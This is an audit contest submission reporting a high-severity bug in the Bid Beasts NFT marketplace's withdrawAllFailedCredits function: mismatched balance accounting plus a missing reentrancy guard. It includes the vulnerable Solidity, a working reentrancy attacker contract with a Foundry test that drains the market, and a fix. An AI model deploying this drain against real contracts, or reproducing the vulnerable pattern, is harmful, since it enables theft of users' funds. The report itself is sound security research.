Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Attackers can steal other people's failed transfer balances.They can also withdraw funds multiple times.

kevin1115

Root + Impact

Description

  • 1、In the withdrawAllFailedCredits function, the balance is read using _receiver: failedTransferCredits[_receiver].The balance is cleared using msg.sender: failedTransferCredits[msg.sender] = 0

    2、The function withdrawAllFailedCredits lacks reentrancy attack checks

// @notice The balance is read using _receiver: failedTransferCredits[_receiver].The balance is cleared using msg.sender: failedTransferCredits[msg.sender] = 0 .
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Risk

Likelihood:

  • An attacker can pass in any _receiver address (such as a victim's address) and withdraw the accumulated funds at that address..

    A malicious contract can then call withdrawAllFailedCredits again in the callback to repeatedly withdraw funds.

Impact:

  • The attacker's own msg.sender balance is cleared, leaving the _receiver unaffected.

    All funds in the contract will be withdrawn

Proof of Concept

// Malicious contracts, used for reentrancy attacks
contract ReentrancyAttacker {
BidBeastsNFTMarket market;
uint256 public attackCount = 0;
uint256 public totalStolen = 0;
​
constructor(address _market) {
market = BidBeastsNFTMarket(_market);
}
​
// Reentrancy attack triggered when receiving ETH
receive() external payable {
attackCount++;
totalStolen += msg.value;
// If there is still balance to withdraw, continue the attack
if (address(market).balance > 0 && attackCount < 3) {
market.withdrawAllFailedCredits(address(this));
}
}
​
function attack() external {
market.withdrawAllFailedCredits(address(this));
}
}
​
function test_withdrawAllFailedCredits_ReentrancyAttack() public {
// First give the market contract some ETH to simulate a failed transfer
vm.deal(address(market), 10 ether);
// Manually set the attacker’s failed transfer balance (simulating a vulnerability scenario)
// @notice Here we directly operate on the storage to simulate the attack scenario
vm.store(
address(market),
keccak256(abi.encode(address(this), uint256(3))), // failedTransferCredits mapping slot
5 ether
);
​
// Deploy the attack contract
ReentrancyAttacker attacker = new ReentrancyAttacker(address(market));
// Give the attack contract some failed transfer balance
vm.store(
address(market),
keccak256(abi.encode(address(attacker), uint256(3))), // failedTransferCredits mapping slot
2 ether
);
​
uint256 marketBalanceBefore = address(market).balance;
uint256 attackerBalanceBefore = address(attacker).balance;
​
// Executing the Attack
attacker.attack();
​
uint256 marketBalanceAfter = address(market).balance;
uint256 attackerBalanceAfter = address(attacker).balance;
​
// Verify the attack is successful
console.log("Market balance before:", marketBalanceBefore);
console.log("Market balance after:", marketBalanceAfter);
console.log("Attacker balance before:", attackerBalanceBefore);
console.log("Attacker balance after:", attackerBalanceAfter);
console.log("Attack count:", attacker.attackCount());
console.log("Total stolen:", attacker.totalStolen());
​
// The attacker was able to extract multiple times, proving that the reentrancy attack was successful
assertTrue(attacker.attackCount() > 1, "Reentrancy attack should succeed");
assertTrue(attacker.totalStolen() > 2 ether, "Attacker should steal more than their original balance");
}
}
​

Recommended Mitigation

function withdrawAllFailedCredits() external nonReentrant {
uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
​
failedTransferCredits[msg.sender] = 0;
​
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
​
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!